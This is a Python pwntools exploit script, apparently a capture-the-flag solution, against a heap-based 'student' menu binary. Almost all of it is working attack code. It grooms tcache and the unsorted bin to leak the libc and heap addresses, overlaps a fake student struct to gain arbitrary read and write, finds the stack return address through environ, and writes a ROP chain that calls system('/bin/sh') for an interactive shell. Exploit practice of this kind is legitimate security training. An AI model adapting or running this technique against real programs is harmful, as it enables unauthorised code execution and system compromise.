1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
| import argparse
import sys
import socks
import socket
from pwn import *
parser = argparse.ArgumentParser()
parser.add_argument(
"mode",
type=int,
choices=[0, 1, 2],
nargs="?",
default=0,
help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()
filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "localhost"
remote_port = 1337
context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
context.terminal = ["tmux", "splitw", "-h"]
def VIO_TEXT(x, code=95):
return log.info(f"\x1b[{code}m{x}\x1b[0m")
def CLEAR_TEXT(x, code=32):
return log.success(f"\x1b[{code}m{x}\x1b[0m")
if args.mode == 0:
io = process(filename)
CLEAR_TEXT("[*] Running on local machine")
elif args.mode == 1:
io = process(filename)
gdb.attach(io, gdbscript='''
# put your scripts here
''')
elif args.mode == 2:
socks.set_default_proxy(
socks.SOCKS5,
"domain",
remote_port,
username="",
password="",
)
socket.socket = socks.socksocket
io = remote(remote_addr, remote_port)
else:
sys.exit(1)
elf = ELF(filename, checksec=False)
if libc_name:
libc = ELF(libc_name, checksec=False)
def cmd(choice):
io.sendlineafter(b"> ", str(choice).encode())
def register(id,name,password):
cmd(1)
io.sendlineafter(b"ID: ", str(id).encode())
io.sendafter(b"Name: ", str(name).encode())
io.sendafter(b"Pass: ", str(password).encode())
def show(id,password):
cmd(2)
io.sendlineafter(b"ID: ", str(id).encode())
io.sendafter(b"Pass: ", str(password).encode())
cmd(1)
return io.recvuntil(b"0.Logout\n")
def login(id,password):
cmd(2)
io.sendlineafter(b"ID: ", str(id).encode())
io.sendafter(b"Pass: ", str(password).encode())
def edit_current(size, content):
cmd(2)
io.sendlineafter(b"size: ", str(size).encode())
io.sendafter(b"ontent: ", content)
def edit_bios(id,password,size,content):
cmd(2)
io.sendlineafter(b"ID: ", str(id).encode())
io.sendafter(b"Pass: ", str(password).encode())
cmd(2)
io.sendlineafter(b"size: ", str(size).encode())
io.sendafter(b"ontent: ", content)
cmd(0)
def delete(id):
cmd(3)
io.sendlineafter(b"delete: ", str(id).encode())
def logout():
cmd(0)
def tcache_pointer(a,b):
return p64(b^(a>>12)) # tcache加密方式为上一个堆块地址左移12位异或地址本身
def overlap_student(id,bio,bio_size):
off=0xa0
id=str(id).encode()
fake_student=flat(
{
off: id+b"\n\x00",
off+0x10:id+b"\x00",
off+0x50:id+b"\x00",
off+0x70:p64(bio),
off+0x78:p64(bio_size),
},filler=b"\x00",length=0x120
)
return fake_student
# --- Exploit Start ---
for i in range(13):
register(i, i, i)
register(13,13,13) #avoid consolidation
register(15,15,15)
for i in range(0,7):
delete(i) # tcache
for i in range(7,13)[::-1]:
delete(i) # unsorted bin consolidation
for i in range(7):
register(i, i,i)
edit_bios(13,13,0x120,b"aaa")
register(14,14,14)
register(16,16,16)
out = show(14,14)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
libc_leak = u64(leak.ljust(8, b"\x00"))
libc_base = libc_leak - 0x203b20
libc.address = libc_base
VIO_TEXT(f"libc base = {hex(libc_base)}")
logout()
edit_bios(16,16,0x90,b"bbb")
register(17,17,17)
out=show(17,17)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
# pause()
heap_base= u64(leak.ljust(8, b"\x00"))-0x2a0
VIO_TEXT(f"heap base = {hex(heap_base)}")
logout()
# pause()
edit_bios(14,14,0x121,overlap_student(14,libc.sym["environ"],0x400))
out=show(14,14)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
environ = u64(leak.ljust(8, b"\x00"))
ret_addr = environ - 0x130
VIO_TEXT(f"ret = {hex(ret_addr)}")
logout()
rop=flat(
libc.address + 0x2882F, # ret
next(libc.search(asm("pop rdi; ret"))),
next(libc.search(b"/bin/sh\x00")),
libc.sym["system"],
)
edit_bios(16,16,0x121,overlap_student(16,ret_addr,len(rop)+1))
edit_bios(16,16,len(rop)+1,rop)
logout()
io.interactive()
|